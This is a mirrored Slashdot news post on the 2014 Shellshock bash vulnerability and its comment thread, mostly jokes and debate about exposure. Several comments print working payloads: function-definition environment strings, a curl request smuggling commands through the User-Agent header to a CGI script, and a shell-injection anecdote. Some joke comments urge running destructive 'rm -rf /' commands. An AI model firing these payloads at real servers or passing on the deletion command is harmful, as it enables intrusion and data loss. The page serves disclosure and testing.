Slashdot Mirror


Remote Exploit Vulnerability Found In Bash

kdryer39 sends this news from CSO: A remotely exploitable vulnerability has been discovered by Stephane Chazelas in bash on Linux, and it is unpleasant. The vulnerability has the CVE identifier CVE-2014-6271. This affects Debian as well as other Linux distributions. The major attack vectors that have been identified in this case are HTTP requests and CGI scripts. Another attack surface is OpenSSH through the use of AcceptEnv variables. Also through TERM and SSH_ORIGINAL_COMMAND. An environmental variable with an arbitrary name can carry a nefarious function which can enable network exploitation.

399 comments

  1. Dangerous by blueshift_1 · · Score: 2

    I'm not suprised; Bash has always felt a bit dangerous...

    1. Re:Dangerous by twistedcubic · · Score: 1

      This is good to know. Can you give an example of a shell which, in your opinion, feels less dangerous?

    2. Re:Dangerous by flyingfsck · · Score: 4, Funny

      Awww, come on, don't bash Bash when it is down...

      --
      Excuse me, but please get off my Pennisetum Clandestinum, eh!
    3. Re:Dangerous by Anonymous Coward · · Score: 1

      ksh

    4. Re:Dangerous by jhantin · · Score: 5, Funny

      ksh

      Pfffft. I should have expected Korny jokes. (Ba-dum-csh.)

      --
      ...when you're writing a game...tweak the difficulty of "Easy" to something [your mother] can cope with. -- onion2k
    5. Re:Dangerous by InterGuru · · Score: 1

      Feminist nix command

      man bash

    6. Re:Dangerous by Anonymous Coward · · Score: 0

      easy one, COMMAND.COM

    7. Re:Dangerous by Nethead · · Score: 2

      Tcsh, tcsh, tcsh on you!

      --
      -- I have a private email server in my basement.
    8. Re:Dangerous by Culture20 · · Score: 4, Funny

      Bash has always felt a bit dangerous...

      POUND! BANG! SLASH! bin SLASH! BASH!
      #!/bin/bash

    9. Re:Dangerous by SumDog · · Score: 1

      fish

    10. Re:Dangerous by MrKaos · · Score: 1

      ksh

      Pfffft. I should have expected Korny jokes. (Ba-dum-csh.)

      sh hhhh!

      --
      My ism, it's full of beliefs.
    11. Re:Dangerous by EmperorOfCanada · · Score: 1

      I send all my commands out to /dev/null for extra security.

    12. Re:Dangerous by Anonymous Coward · · Score: 0

      That won't work. At least get the command right, you dumb fuck.

    13. Re: Dangerous by Anonymous Coward · · Score: 0

      Huh?

    14. Re:Dangerous by Anonymous Coward · · Score: 0, Troll

      That was yesterday. Hipster feminists of 2014 use.

      bash man bash

    15. Re:Dangerous by Anonymous Coward · · Score: 0

      £!/bin/bash?

      How do you manage to get the pound and hash sign mixed up?

    16. Re: Dangerous by Anonymous Coward · · Score: 0

      In America, the hash key on the phone has been called the pund key for years

    17. Re:Dangerous by Anonymous Coward · · Score: 0

      Bash has always felt a bit dangerous...

      POUND! BANG! SLASH! bin SLASH! BASH!

      #!/bin/bash

      You just had a hunch? It's not any more dangerous than any other shell or program interpreter. It doesn't run as a daemon, have a suid root bit, or have any other red flags that I would consider to be dangerous in the *NIX environment. What is it about it that made you think it was dangerous?
      Hell, even if you do chmod u+s /bin/bash, it won't give everyone a root shell. It has some built in security to stop that. Many people would hide suid root bash shells on the file system to give themselves a local backdoor and the bash programmers put a stop to that. This is the first time in the 15 years or so that I've been using Linux that I've heard a word about bash itself having any sort of security problems and these problems don't lead to privilege escalation or anything..

    18. Re:Dangerous by Anonymous Coward · · Score: 0

      This is the bourne AGAIN shell unlike the original /bin/sh, which is still drinking, and doing drugs. It is probably sleeping in the gutter right now. BASH has found the light and is bo(u)rn(e) again!

    19. Re:Dangerous by Darinbob · · Score: 1

      I used to think Adventure Shell was safe, until I met a grue in the dark.

    20. Re:Dangerous by Darinbob · · Score: 1

      Actually it rhymes better with hash.

      Though, for future reference, different countries use different words for the same thing. Even English speakers do not all use the same slang used in England. It's called the pound key because for much longer than a century the "#" was used as abbreviation for pound (avoirdupois, not sterling) in ledgers and signs in groceries. You must be new to computers I suspect to not realize the hundreds of names assigned to '#'.

    21. Re: Dangerous by Anonymous Coward · · Score: 0

      Damn straight. Bash was always weird automatic-for-the-people crap. This bug is SILLY.

    22. Re: Dangerous by joaommp · · Score: 1

      he's missing the --no-preserve-root option. that's it.

    23. Re:Dangerous by Nethead · · Score: 1

      sh! Don't tell them.

      --
      -- I have a private email server in my basement.
    24. Re:Dangerous by sew3521 · · Score: 1

      I wish I had mod points

    25. Re:Dangerous by Spugglefink · · Score: 1

      My favorite is sudo, with the rm -rf / options. Just type sudo rm -rf / into your shell, and all your security concerns will be resolved.

      True story: Shortly after switching to Linux back in '01, I did a clever demonstration for my wife, showing her how an ordinary user couldn't screw anything serious up by accident. I went to a shell and issued:

      rm -rf /

      Look honey, a million error messages, because my user doesn't have the right to delete any of the system files! You can't mess this up!

      Just then, it iterated into /home. Oops.

  2. Full Disclosure can be found on oss-security... by Jizzbug · · Score: 5, Informative
    --

    -=/\- Jizzbug -/\=-
    1. Re:Full Disclosure can be found on oss-security... by lgw · · Score: 5, Interesting

      This is exceedingly nasty.

      The vulnerability occurs because bash does not stop after processing the function definition; it continues to parse and execute shell commands following the function
      definition. ...

      The fact that an environment variable with an arbitrary name can be used as a carrier for a malicious function definition containing trailing commands makes this vulnerability particularly severe; it enables network-based exploitation.

      This is a weapons-grade exploit IMO, the sort of thing the NSA keeps hidden for when it's really needed. I'm almost surprised it wasn't suppressed.

      Hmm, I wonder how many phones are valuable.

      --
      Socialism: a lie told by totalitarians and believed by fools.
    2. Re:Full Disclosure can be found on oss-security... by GameboyRMH · · Score: 2

      I'm assuming you mean "how many phones are vulnerable."

      Only Nokia's N-series phones running Maemo, or Android phones with a Linux chroot are capable of running bash or sshd (without crazy hardcore modding).

      --
      "When information is power, privacy is freedom" - Jah-Wren Ryel
    3. Re:Full Disclosure can be found on oss-security... by CRCulver · · Score: 1

      Only Nokia's N-series phones running Maemo ... are capable of running bash or sshd (without crazy hardcore modding).

      Installing bash on the N900 required enabling root access and intentionally installing the package. Otherwise Maemo's default shell was Busybox. Jolla's Sailfish OS, however, seems to use bash by default in its terminal application.

    4. Re:Full Disclosure can be found on oss-security... by bugs2squash · · Score: 1

      Why does this have to depend on a magic string (â€) at all ? In this day and age are there not better ways to securely, out-of-band, tag information for special purposes ?

      --
      Nullius in verba
    5. Re:Full Disclosure can be found on oss-security... by warrax_666 · · Score: 2

      So you don't have bash installed. I'm fucking AMAZED that your bash isn't exploitable!

      --
      HAND.
    6. Re:Full Disclosure can be found on oss-security... by roman_mir · · Score: 0

      Isn't that the entire point of this thread here? We also need to check calculators, electrical drills, washing machines and chairs for bash.

    7. Re:Full Disclosure can be found on oss-security... by Anonymous Coward · · Score: 0

      Given text such as "can appear in these p=laces:" (from https://marc.info/?l=oss-security&m=141157106132018&q=raw), I think it might be the mailing list mangling the text.

    8. Re:Full Disclosure can be found on oss-security... by Anonymous Coward · · Score: 1

      What they really sent: http://permalink.gmane.org/gmane.comp.security.oss.general/13852

    9. Re:Full Disclosure can be found on oss-security... by FatdogHaiku · · Score: 1

      I knew something like this would happen when I changed my old Windows ME chair to dual-boot....
      Damn...
      I would switch to the iChair but you can only face certain selected directions when seated in it...

      --
      You have the right to remain sentient. If you give up the right to remain sentient, you will be elected to public office
    10. Re:Full Disclosure can be found on oss-security... by marsu_k · · Score: 1

      Just ran pacman -Syu

      $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
      bash: warning: x: ignoring function definition attempt
      bash: error importing function definition for `x'
      this is a test

      Gotta love Arch too.

    11. Re:Full Disclosure can be found on oss-security... by Anonymous Coward · · Score: 0

      Just ran pacman -Syu

      $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

      bash: warning: x: ignoring function definition attempt

      bash: error importing function definition for `x'

      this is a test

      Gotta love Arch too.

      That just means you've updated the bash executable, most other distros have as well.

    12. Re:Full Disclosure can be found on oss-security... by metrix007 · · Score: 1

      Sigh.

      You don't have bash installed, which demonstrates absolutely NOTHING about the security of the OpenBSD bash port.

      I would have thought the OpenBSD advocates were shamed into silence after their heavily audited secure by default OS was vulnerable to Heartbleed....

      --
      If you ignore ACs because they are anonymous - you're an idiot.
    13. Re:Full Disclosure can be found on oss-security... by exomondo · · Score: 2

      Otherwise Maemo's default shell was Busybox.

      Busybox isn't a shell. The default shell included in busybox is almquist shell (or ash) - so assuming Maemo uses the default it is ash, I can't remember - which is a bourne shell clone and I'm not sure whether ash also has this vulnerability.

    14. Re:Full Disclosure can be found on oss-security... by gweihir · · Score: 2

      Really? It does require that you give the attacker control over the environment, which is a dubious thing to do in the first place. For the ssh-based attacks, you need to be at least a user on the system, which makes this a local privilege escalation only. Sure, if somebody actually uses bash as basis for CGI, this could be remotely exploitable, but there is no reason to panic.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    15. Re:Full Disclosure can be found on oss-security... by roman_mir · · Score: 0

      Jesus fucking christ, this thread is about Windows not having bash and I added to it by showing an OpenBSD box that also in this case didn't have bash. Grow a fucking sense of humour and stop taking yourself too seriously, life is too short, go watch a comedy or something.

    16. Re:Full Disclosure can be found on oss-security... by SumDog · · Score: 2

      OpenBSD is so secure with it's default install because it installs absolutely nothing useful

    17. Re:Full Disclosure can be found on oss-security... by lgw · · Score: 1

      Are you sure there aren't any cgi scripts on that corporate webserver that devs had to touch that one time to debug that thing?

      Fortunately for the SSH case, most multi-tenanted servers these days are using VM-isolation, not user isolation, but privilege escalation exploits of one sort or another do show up as a problem on those web hosts with 10000 accounts, where someone uses the setup to push malware from their account to all the served web pages. Hopefully none of those places still give SSH access!
       

      --
      Socialism: a lie told by totalitarians and believed by fools.
    18. Re:Full Disclosure can be found on oss-security... by Anonymous Coward · · Score: 0

      Hmm, I wonder how many phones are valuable.

      I have a Blackberry, so not mine. I doubt I could give the thing away at this point.

    19. Re:Full Disclosure can be found on oss-security... by paskie · · Score: 2

      And now it turns out that even patched bash still carries some related security bugs. (Not really a surprise since the parser is complex and bound to, seems like running it on arbitrary environment variables really isn't the best idea...)

      So, if you think you are safe,

      export X='() { (a)=>\'
      bash -c 'brm date'
      cat brm

      (N.B. the backslash is not inhibiting the apostrophe in shell syntax.)

      That is, by crafter environment variables you can still overwrite files and run commands that were supposed to be parameters instead. This is still very dangerous, but thankfully the attack surface is smaller than before, for example $SSH_ORIGINAL_COMMAND is frequently not an issue anymore (at least in case of gitolite I couldn't *quickly* figure out a way to exploit this), etc.

      No patch for this available yet.

      Today is a fun day for linux! Think about switching your /bin/sh to dash and maybe login shell of non-interactive users too!

      --
      It's not the fall that kills you. It's the sudden stop at the end. -Douglas Adams
    20. Re:Full Disclosure can be found on oss-security... by Anonymous Coward · · Score: 0

      None of the BSDs (well maybe PCBSD but I'm too lazy to check) have bash installed by default, although it tends to get pulled in by a lot of stuff, like most DEs.

      Even then, you have to manually change your shell to /usr/local/bin/bash.

      I always roll my eyes when I see bash getting compiled, with the three hundred or so patch files (and that's only a slight overstatement) that you have to grab, because it's written by a bunch of complete dickheads who can't package their software like normal people.

    21. Re:Full Disclosure can be found on oss-security... by subreality · · Score: 1

      It's worse than you think. ANY CGI which calls bash without sanitizing the environment is vulnerable. For instance:


      #!/usr/bin/perl
      print("Content-type: text/plain\n\n");
      system("bash -c ls");

      but there is no reason to panic.

      Start panicking.

    22. Re:Full Disclosure can be found on oss-security... by gweihir · · Score: 1

      No. In addition, patching the problem takes like 1 minute.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    23. Re:Full Disclosure can be found on oss-security... by Anonymous Coward · · Score: 0

      export X='() { (a)=>\'; bash -c 'brm date'; cat brm

      Well, shit...it works. So my shell is still vulnerable, eh?

    24. Re:Full Disclosure can be found on oss-security... by dbIII · · Score: 1

      Start grepping you mean.
      Oh, finished already.

    25. Re:Full Disclosure can be found on oss-security... by Anonymous Coward · · Score: 0

      Or any CGI script that uses system() or popen() anywhere in the code.

      Fortunatly, many distributions have /bin/sh point to something other than bash, but still.

    26. Re:Full Disclosure can be found on oss-security... by CheeseyDJ · · Score: 1

      Hmm, I wonder how many phones are valuable.

      FWIW I have a Moto G running CM11, and it is vulnerable. I checked with this test:

      env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

      Someone further down reckons that this can be exploited via a DHCP request, if you are connected to a malicous AP for example. Scary stuff.

    27. Re:Full Disclosure can be found on oss-security... by gweihir · · Score: 1

      It is not quite that easy. You still need to convince the web-server to pass the exploit-code into an environment variable.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    28. Re:Full Disclosure can be found on oss-security... by ArsenneLupin · · Score: 1

      Just ran pacman -Syu

      $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
      bash: warning: x: ignoring function definition attempt
      bash: error importing function definition for `x'
      this is a test

      Good. And now on to the next level:

      env X='() { (a)=>\' bash -c "echo /usr/bin/id"; cat echo

    29. Re:Full Disclosure can be found on oss-security... by jpvlsmv · · Score: 1
      In addition, ANY CGI that calls out to the system may call something that is actually a bash script even if it doesn't look like one.

      For example, xzgrep on my Ubuntu system is a bash script, so this is vulnerable:
      #!/usr/bin/perl
      print("Content-type: text/plain\n\n");
      system("xzgrep info /var/log/mylog.xz");

    30. Re:Full Disclosure can be found on oss-security... by Ankh · · Score: 2

      The CGI spec tells the Web server to make the user data available as environment variables, so e.g. Apache will put them in the environment, and environment proceses are inherited to all sub-processes, so e.g. a Perl script called via CGI and using back-ticks, my $a = `pwd`; may result in code execution.

      The vulnerability doesn't apply to all ways of running code on Web servers, e.g. Java servlet APIs shoud be fine, but CGI does automatically add the HTTP headers and request paramters to the environment.

      --
      Live barefoot!
      free engravings/woodcuts
    31. Re:Full Disclosure can be found on oss-security... by metrix007 · · Score: 1

      Fair enough, I didn't read the thread properly. I apologize.

      --
      If you ignore ACs because they are anonymous - you're an idiot.
    32. Re:Full Disclosure can be found on oss-security... by Carewolf · · Score: 1

      If you run unsanitized input from the web in your shell. YOU ARE ALREADY VULNERABLE, you don't need any other issues, you are screwed and the fix is to stop running untrusted unsanitized content on your machine.

    33. Re:Full Disclosure can be found on oss-security... by subreality · · Score: 1

      Take a look at the example CGI I posted. It looks completely innocent - the command is a fixed string. It shouldn't be vulnerable, but this bug makes it so.

    34. Re:Full Disclosure can be found on oss-security... by Darinbob · · Score: 1

      This mis-feature is suppressed in restricted shells (bash -r), which I suspect is a good workaround for systems that use subshells but which can't guarantee that bash is patched. Except for this description with a restricted environment, I see nothing in the man page that hints that this feature exists.

      I think it's actually a side effect of having exported functions be implemented as exported environment variables. A weird feature that lets you do "export func='() { commands; };'". This means that anything can export functions to a bash subshell. It's just plain weird in my view, but I guess if the only way to communicate to a subshell is with the plain environment then that's the only way to export functions.

    35. Re:Full Disclosure can be found on oss-security... by Ol+Olsoc · · Score: 1

      Start panicking.

      Windows fanboi, welcome!

      After updating, which neither required a reboot, nor bitched up the computer, and took very little time I decided that panicking might be a bit premature.

      Your level of applicable FUD must be related to the orgasms you had when finding out that there was a vulnerableity in Linux, because you know - like 1 vulnerabiility makes up for the thousands in Windows.

      --
      The shepherds did so well protecting the flock that the sheep no longer believed that wolves existed.
    36. Re:Full Disclosure can be found on oss-security... by marsu_k · · Score: 1

      You're right, that wasn't patched until today. Now the result is

      /usr/bin/id
      cat: echo: No such file or directory

    37. Re:Full Disclosure can be found on oss-security... by squiggleslash · · Score: 1

      One thing missing in all of this is how do I exploit it? In the example you give, that's not clear.

      So far as I can determine, the only time this is going to be exploited is if you have some way of manipulating the environment of the shell. I can't think of a CGI variable that's directly set to the content of something the caller has enough control over, pretty much all of them are munged, have mandatory punctuation incompatible with use as a function placed at the beginning, or are impossible to put parentheses and punctuation in.

      Perhaps I'm wrong. But I'm inclined to think the entire thing is overblown for two reasons. First, the difficulty of setting the environment in the first place, and secondly the fact making system() calls, etc, is always a red flag for those checking for security holes (and is rare and usually unnecessary) because of the other potential issues with calling a program that literally has direct control over a substantial amount of your computer.

      Which is not to say that, for example, the DHCP exploit that's been mentioned isn't terrifying, but even that... why the hell does the DHCPD client, by default, allow the environment to be changed via an insecure DHCP environment anyway?

      --
      You are not alone. This is not normal. None of this is normal.
    38. Re:Full Disclosure can be found on oss-security... by subreality · · Score: 1

      Here's the exploit:

      curl -A "() { :; }; /usr/bin/touch /tmp/vulnerable" http://127.0.0.1/test.cgi

      User-Agent is copied to HTTP_USER_AGENT with no munging.

      For DHCP, dhclient calls several hooks (which are usually bash scripts) when events happen. It needs to pass some information like the new domain name. Passing them via the command line creates another set of problems, so they pass them via the environment. For better or worse, it's a common convention.

  3. So now it's the year of the Linux desktop by Anonymous Coward · · Score: 5, Funny

    Because we've finally become popular enough to warrant script kiddies finding holes in our toys!
    Captcha: Outcry

    1. Re:So now it's the year of the Linux desktop by flyingfsck · · Score: 4, Funny

      Oh my, that's torn it. Now I'll have to switch to Minix.

      --
      Excuse me, but please get off my Pennisetum Clandestinum, eh!
    2. Re:So now it's the year of the Linux desktop by Penguinisto · · Score: 1

      You do realize that bash is (nowadays) installed in damned near every *nix out there (though I think HPUX is still holding out.)

      Hell, even Solaris started chucking it in at around 5.10 (Solaris 10) or so (or was it 9?), and I thought that would take an act of Congress or the Divine to happen.

      (get this - you can even get bash for Windows, which might improve that OS by at least a factor of 20).

      --
      Quo usque tandem abutere, Nimbus, patientia nostra?
    3. Re:So now it's the year of the Linux desktop by Anonymous Coward · · Score: 0

      There is always Plan9 from Bell Labs.

    4. Re:So now it's the year of the Linux desktop by CRCulver · · Score: 4, Informative

      You do realize that bash is (nowadays) installed in damned near every *nix out there (though I think HPUX is still holding out.)

      Debian and a few other distros have long since switched to Dash as their /bin/sh. Openwrt uses ash (installing bash would require intentional effort), and I assume that many *nix devices with the Busybox environment in lieu of the traditional GNU toolset also eschew bash. Sure, bash is still common out there, but thankfully not as prominent as a decade ago, and even when present it might not be exposed to an attacking surface.

    5. Re:So now it's the year of the Linux desktop by Anonymous Coward · · Score: 1

      Wrong. None of the BSDs include bash in the default install.

      OpenBSD installs Korn (pdksh to be specific).
      FreeBSD installs tcsh.
      NetBSD installs csh or ksh

    6. Re:So now it's the year of the Linux desktop by gweihir · · Score: 1

      Actually, most embedded systems have busybox instead. Bash is pretty large and complex.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    7. Re: So now it's the year of the Linux desktop by Anonymous Coward · · Score: 0

      Neither does Debian, or any Android device.
      Still I can't see how this is a remote vulnerability. A local privilege escalation vulnerability, possibly.
      Don't fucking provide remote bash access for the attackers. Don't run telnetd. Duh.
      If your cgi scripts are written in bash with no input sanitation, I found your problem BKAC.

    8. Re:So now it's the year of the Linux desktop by Fancia · · Score: 1

      OS X provides bash preinstalled and as the login shell (since 10.4). /bin/sh is provided by bash.

      --

      Bít, zabít, jen proto, ze su liska!
    9. Re:So now it's the year of the Linux desktop by Anonymous Coward · · Score: 0

      The bash shell has been in Solaris since version 8 at least. Surprised the heck out of me when I found it.

    10. Re:So now it's the year of the Linux desktop by Anonymous Coward · · Score: 1

      Debian and a few other distros have long since switched to Dash as their /bin/sh.

      THIS is why shell issues are a big deal.

      Why not let /bin/sh be ,,, drumroll ... /bin/sh ?

      By all means install all the shells you want or need, but let /bin/sh be the age old and tested bourne shell.

    11. Re:So now it's the year of the Linux desktop by Anonymous Coward · · Score: 0

      The sad thing is that some/many packages require bash to build (I have no idea why), so users of BSD ports and gentoo will have it installed even if they prefer zsh or ksh...

      Of course, /bin/sh isn't bash on BSDs so that's cool.

    12. Re:So now it's the year of the Linux desktop by Anonymous Coward · · Score: 0

      Solaris 8 had it, but I think it was one of the later releases. Came standard in 9.
      But then, there plenty of pre-8 machines that had it installed from Sun Freeware or the like.

    13. Re:So now it's the year of the Linux desktop by Kythe · · Score: 1

      Likewise, another potentially big target, DD-WRT, uses the plain Bourne shell by default, not BASH.

      --

      Kythe
    14. Re:So now it's the year of the Linux desktop by jandrese · · Score: 1

      I would expect that most busybox version of Bash would be safe, because they're so broken anyway that even the exploits don't work.

      --

      I read the internet for the articles.
    15. Re:So now it's the year of the Linux desktop by Darinbob · · Score: 1

      Personally I think that's kind of goofy, their reasoning at least. It's not dash because of security, but dash because they think bash is big and bulky. Which is not a great argument on a PC (a good argument for an embedded system, which Debian isn't targeting). OpenWRT makes sense because it's an embedded system, so a full featured bash is not appropriate compared to a stripped down and limited shell.

    16. Re:So now it's the year of the Linux desktop by CRCulver · · Score: 1

      Actually, it was a great idea on a PC. Debian switched to dash among other reasons because the init system was a big bundle of shell scripts, and switching to a lighter shell brought immediate improvements in boot times. A similar desire for optimization (albeit one ready to junk much of the *nix tradition) led to systemd.

    17. Re:So now it's the year of the Linux desktop by Darinbob · · Score: 1

      Because the original Bourne Shell was limited in many ways as a scripting environment (vastly better than csh of course). That's why people kept doing different shells. Korn Shell was a big improvement over /bin/sh, even with just scripting. And if you want just play /bin/sh, do you want the earliest version or the later versions that started adding features? Do you want /bin/sh to be Bourne Shell or do you want it to be a POSIX compliant shell?

      The reason bash succeeded wildly is because it a great job of unifying both the easy of use of csh with the scripting of sh, along with the more advanced features and scripting from ksh, and it was POSIX compliant. Even better, if you invoke it as /bin/sh (which most systems do) then you get a subset of bash functionality for POSIX and sh compatibiliy (especially with respect to startup), meaning you can have portable shell scripts which can work on other shells.

      Also the original /bin/sh had some licensing issues for awhile. It was AT&T intellectual property. People wanted an alternative implmentation. You can't get the "real" Bourne sh on many systems anymore, and if you could it was last updated back in 1989 I think so it's out of date with many things and not fully POSIX compliant.

    18. Re:So now it's the year of the Linux desktop by Darinbob · · Score: 1

      Is this because the shell scripts were using incompatible features, or that they mistakenly used "#!/bin/bash" instead of "#!/bin/sh"? If you link bash to /bin/sh then you get a reasonably compatible shell version. But I have seen people things like "#!/bin/dash" which is just as misguided.

    19. Re:So now it's the year of the Linux desktop by Darinbob · · Score: 1

      Nothing I hope uses csh or tcsh as the default shell for scripts. They may use it as a default user shell, but those are too broken for use as a scripting shell.

      Not sure why there's all this bash bashing. It's a great shell, and now it has an exploit but it's being patched. Why did the bashing occur before this exploit was found, and will the apologies come out when these other shells turn out to have some exploits?

    20. Re:So now it's the year of the Linux desktop by Anonymous Coward · · Score: 0

      Dash is also affected. Tested on Ubuntu 12.04.

  4. Missing in windows? by Anonymous Coward · · Score: 5, Funny

    I can't find the bash icon in the Start menu. Anyone know where it is so I can remove it and avoid this exploit?

    Thanks.

    1. Re:Missing in windows? by Anonymous Coward · · Score: 0

      Removing the icon doesn't remove the program.

      Learn2windows.

    2. Re:Missing in windows? by bragr · · Score: 2

      Whoosh!

    3. Re:Missing in windows? by Anonymous Coward · · Score: 1

      Removing the icon doesn't remove the program.

      Learn2windows.

      Not sure the WHOOSH sound could get any louder here...

    4. Re:Missing in windows? by flyingfsck · · Score: 4, Funny

      It's because there is no start menu in Windows anymore, you dum dum...

      --
      Excuse me, but please get off my Pennisetum Clandestinum, eh!
    5. Re:Missing in windows? by just_another_sean · · Score: 4, Interesting

      Seriously though is cygwin's bash vulnerable?

      Looks like it is to me, haven't had a chance to check for an update yet though...

      --
      Creationist Textbook Stickers Declared Unconstitutional by CowboyNeal
    6. Re:Missing in windows? by clovis · · Score: 4, Funny

      I can't find the bash icon in the Start menu. Anyone know where it is so I can remove it and avoid this exploit?

      Thanks.

      You seem to have asked a question about removing the Start Menu.
      Upgrade to Windows 8, but do not do the Win8.1 upgrade.
      Thank you for using our products in the future.

    7. Re:Missing in windows? by Anonymous Coward · · Score: 0

      Wow...

    8. Re:Missing in windows? by Anonymous Coward · · Score: 0

      I can't find the bash icon in the Start menu. Anyone know where it is so I can remove it and avoid this exploit?

      Thanks.

      Don't remove it, just update it. Bash (from Cygwin) is one of the first things I install on Windows.

    9. Re:Missing in windows? by Anonymous Coward · · Score: 0

      It's because there is no start menu in Windows anymore, you dum dum...

      For some unexplained reason I heard of the voice of the Great Gazoo (https://en.wikipedia.org/wiki/The_Great_Gazoo).

    10. Re:Missing in windows? by _xeno_ · · Score: 4, Informative

      I just updated Cygwin to the latest, and yes, it's still vulnerable. (At least its bash-4.1.10-4 is, I suppose it's possible that the mirror I'm using is out of date.)

      --
      You are in a maze of twisty little relative jumps, all alike.
    11. Re:Missing in windows? by riis138 · · Score: 1

      If only there was a clippy app for Linux to make it easier to find, or maybe that search dog.

      --
      Somewhere, something incredible is waiting to be known. -Carl Sagan
    12. Re:Missing in windows? by Anonymous Coward · · Score: 1


      $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
      vulnerable
      this is a test

      Yes. But nobody is going to try this on your dev station. If you are using CGI, this will affect you. Many, many, many ISPs are using suphp + fcgid to run shared hosting. All of those machines are hosed.

      Not to long ago, we switched to apache2-mpm-itk, so I guess we dodged the bullet on this one. Sometimes you get lucky.

    13. Re:Missing in windows? by Anonymous Coward · · Score: 5, Funny

      Um, that's not a shell that I know of. Citation needed?

    14. Re:Missing in windows? by Melkman · · Score: 1

      Bash is fairly new to Windows. You'll only find it in the Windows 8 start menu.

    15. Re:Missing in windows? by Anonymous Coward · · Score: 1, Funny

      Bash is fairly new to Windows. You'll only find it in the Windows 8 start menu.

      NEW TO WINDOWS?! Some people here bash Windows since forever dude.

    16. Re:Missing in windows? by bigfinger76 · · Score: 2

      It can.

    17. Re:Missing in windows? by TeknoHog · · Score: 1

      Or an app for us 1337 Linux users to bash Windows...

      --
      Escher was the first MC and Giger invented the HR department.
    18. Re:Missing in windows? by smaddox · · Score: 1

      How could this be used to remotely exploit a CGI-running Apache server? The exploiter would have to have access to the command line or write access to a CGI script, and then why use the exploit in the first place?

    19. Re:Missing in windows? by Anonymous Coward · · Score: 1

      CGI pushes HTTP headers into environment variables. So just set a header to the string that has the exploit and it will run the specified command. The specified command could download a file with wget and then run it.

    20. Re:Missing in windows? by hey! · · Score: 2

      You're one up on me. I can't find the Start Menu...

      --
      Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
    21. Re:Missing in windows? by Anonymous Coward · · Score: 0

      I can't find that either.

    22. Re:Missing in windows? by Anonymous Coward · · Score: 0

      http://fc04.deviantart.net/fs71/i/2011/350/4/4/cygwin_icon_by_ambits-d4ja8bw.png

    23. Re:Missing in windows? by klui · · Score: 1

      Cygwin's bash 4.1.11(6) is no longer vulnerable.

      Ubuntu's bash 4.3.11(1) is no longer vulnerable

    24. Re:Missing in windows? by countach · · Score: 1

      Just go to a prompt and type the following command: /bin/rm -rf /

    25. Re:Missing in windows? by Anonymous Coward · · Score: 0

      I can't find the bash icon in the Start menu. Anyone know where it is so I can remove it and avoid this exploit?

      Thanks.

      Windows is so useless it doesn't even has bash.

    26. Re:Missing in windows? by jandrese · · Score: 1

      It's Cygwin, so Bash will be out of date regardless.

      --

      I read the internet for the articles.
    27. Re:Missing in windows? by _xeno_ · · Score: 1

      True, but generally security patches get backported to whatever the current Cygwin version is.

      So the vulnerability is as of now fixed with today's 4.1.12-5, which isn't the latest version of Bash.

      --
      You are in a maze of twisty little relative jumps, all alike.
    28. Re: Missing in windows? by Anonymous Coward · · Score: 0

      sudo it first

  5. You mean bash.org ? by Anonymous Coward · · Score: 0

    You mean bash.org ?

    1. Re:You mean bash.org ? by Anonymous Coward · · Score: 0

      lol no

    2. Re:You mean bash.org ? by peragrin · · Score: 1

      Bash.org is dead. Even net craft confirmed it.

      --
      i thought once I was found, but it was only a dream.
    3. Re:You mean bash.org ? by Anonymous Coward · · Score: 0

      They're back, actually

    4. Re:You mean bash.org ? by Dracos · · Score: 1

      Has Netcraft unconfirmed the death?

  6. CentOS 6.5 already has fixed package available by astro · · Score: 5, Insightful

    sudo yum update bash

    Thank you for the quick warning.

    1. Re:CentOS 6.5 already has fixed package available by Anonymous Coward · · Score: 1

      It's not fully fixed, I'd still take precaution.

    2. Re:CentOS 6.5 already has fixed package available by Anonymous Coward · · Score: 0
  7. not funny by Anonymous Coward · · Score: 0

    C'mon april 1st is in six months.

  8. Only CGI scripts affected? by Anonymous Coward · · Score: 2, Interesting

    So, if I undestand correctly, this affects shell scripts used for CGI; do people actually do that on what scale?

    Only person I know who does this is a CS teacher in my college, onhis homepage which he has had since early 90s, are there actually commercial installations which do this, some major product with large install base ("asking this for my son")?

    1. Re:Only CGI scripts affected? by gurnec · · Score: 2

      This also affects other scripting languages executed via CGI if the code spawns a shell, e.g.:

      #!/bin/perl

      `cat header.html`

      It doesn't necessarily affect scripting languages executed via other means, e.g. mod_*

    2. Re:Only CGI scripts affected? by Narcocide · · Score: 1

      Exactly. Don't pass unsanitized environment variables directly to your system shell and its not a problem. Anyone doing this with a cgi script should be slapped.

    3. Re:Only CGI scripts affected? by TheCarp · · Score: 3, Interesting

      Oh I had the same thought....I mean, by the time an "attacker" is modifying arbitrary environment variables in your process, well...you are already pretty compromised. If you wrote your CGI, then you are the one that compromised yourself.

      That said, you know someone does this. Hell, I have had to deal with web applications written mostly in shell and did much of their processing in shell.... the only thing that really topped it for idiocy was when I dove into some perl4 code for a password change form and found this gem:

      $password = $q->param('password');
      if "`grep $password /usr/dict/words`" != "" {
      }

      No taint checking, nothing, just shell out with whatever someone put in the form. I loaded it up and added a "; touch /tmp/foo" on the end and verified there was no protection, then I found 4 more similar errors and figured that since security issues were not even why I opened the code to read it....I re-wrote it from scratch.

      --
      "I opened my eyes, and everything went dark again"
    4. Re:Only CGI scripts affected? by gurnec · · Score: 1

      Oops, missed a "print" in there, but you get the point.

    5. Re:Only CGI scripts affected? by Anonymous Coward · · Score: 2

      CGI passes parameters through environment variables, like the request URI and user agent and everything else, to the forked process that handles the request. If the process a) is a bash script itself or b) fork-execs a child bash or /bin/sh linked to bash, without sanitizing/wiping EVERY environment variable (even ones the script doesn't use!), then it can execute arbitrary code.

      Really, there needs to be a better, saner language for easily composing prewritten executables. I hate shell syntax anyway.

    6. Re:Only CGI scripts affected? by GameboyRMH · · Score: 2

